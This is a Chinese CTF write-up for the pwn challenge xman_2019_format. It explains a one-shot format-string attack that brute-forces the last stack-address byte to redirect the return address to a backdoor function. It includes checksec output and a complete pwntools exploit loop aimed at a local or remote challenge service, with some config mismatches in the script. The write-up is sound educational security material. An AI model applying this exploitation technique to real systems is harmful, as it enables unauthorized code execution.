【爆破栈末位】xman_2019_format

Thursday, December 29, 2022
本文共999字
2分钟阅读时长

⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/%E7%88%86%E7%A0%B4%E6%A0%88%E6%9C%AB%E4%BD%8Dxman_2019_format/。商业转载请联系作者获得授权,非商业转载请注明出处!

The longer we dwell on our misfortunes, the greater is their power to harm us. — Voltaire

原题链接

checksec查看程序架构

$ checksec xman_2019_format
[*] '/home/giantbranch/share_files/security/workspace/xman_2019_format/xman_2019_format'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

ida查看程序伪代码

整个程序反编译出来逻辑非常混乱,但重要的只有三个函数: 202210122208112022-10-12-22-08-12

有一个后门函数

202210122157492022-10-12-21-57-50

这个函数说明了buf也就是保存字符串的地址在堆中

202210122159042022-10-12-21-59-04

这个函数说明会将buf中的字符串以|为分割符分割成多个子字符串并打印

这个程序因为只有一次输入的机会,而且无法更改ret值,所以获取shell权限要一次到位地完成,因此虽然可以泄露栈地址却难以加以利用。

因此如果我们要更改栈地址,就需要用到爆破

构建exp

ASLR对栈的影响

首先,每次加载程序的时候,栈基址都是不一样的,但是后12位为0

其次,因为页对齐的影响,因此栈地址除了栈基址还要加上一个页地址,这个页地址一定是4KB的整数倍,也就是说,这个页地址对最后12位是没有影响的

然后,栈地址还要加上一个偏移,这个偏移会对栈地址后12位造成影响,经过调试发现,同一个地址在每次运行的时候,最后4位也就是地址的最后一个16进制数是不变的

且看下述程序:

#include<stdio.h>

int main(void){
    int a = 1;
    printf("%p\n", &a);
    return 0;
}

运行结果:

202210131828022022-10-13-18-28-03

可以看到,对于64位程序,栈地址也是只有最后一位不变

我们再来看下32位程序的情况:

202210131834552022-10-13-18-34-55

结论和64位程序是一样的

笔者也不知道产生此现象的根本原因,只能当作一个既定事实记了。如果有师傅知道此现象的原因,希望能在评论区留下您的解释,感谢您的付出!

笔者猜测原因:每次程序开始时会保证栈地址最后一位为0,这样经过既定数量的pop和push,在同一个相对位置的栈地址的最后一位是不变的

构建地址链

202210122253222022-10-12-22-53-22

如图,如果我们用%hhn将ebp位置指向的地址改为ret地址,那么0xffffd3b8保存的地址就是ret地址,这样子我们就可以通过第三个红框框这条链来更改ret地址了

爆破

上述逻辑有一个问题,就是我们需要更改栈地址的末一个字节,而这个字节的高四位是不确定的,所以我们如果更改,则只有$\frac{1}{16}$的几率成功,那么我们就加一个while循环多试几次就好了

完整exp

from pwn import *
from pwn import p64, p32, u32, u64
from LibcSearcher import LibcSearcher
import sys

pss: bool = False
fn: str = "./xman_2019_format"
libc_name: str = "./libc-2.23.so"
port: str = "28711"
if_32: bool = False
pg = p32 if if_32 else p64
context(arch="i386" if if_32 else "amd64", os="linux")
context.terminal=['tmux','splitw','-h']
if_debug: bool = False

m_elf = ELF(fn)
libc = ELF(libc_name)
        
backdoor = 0x80485AB

offset1 = 10
len1 = 0x6c
offset2 = 18
len2 = 0x85AB

format_string = f'%{len1}c%{offset1}$hhn|%{len2}c%{offset2}$hn'
success(format_string)

while(True):
    if pss:
        p = remote("node4.buuoj.cn", port)
    else:
        if if_debug:
            p = gdb.debug(fn, "b* 0x400BA1",)
        else:
            p = process(fn, env={"LD_PRELOAD": libc_name})
    p.clean()
    p.send(format_string)
    gdb.attach(p, "b* 0x804860B")
    p.clean()
    try:
        p.interactive()
    except:
        info("failed!")
        p.close()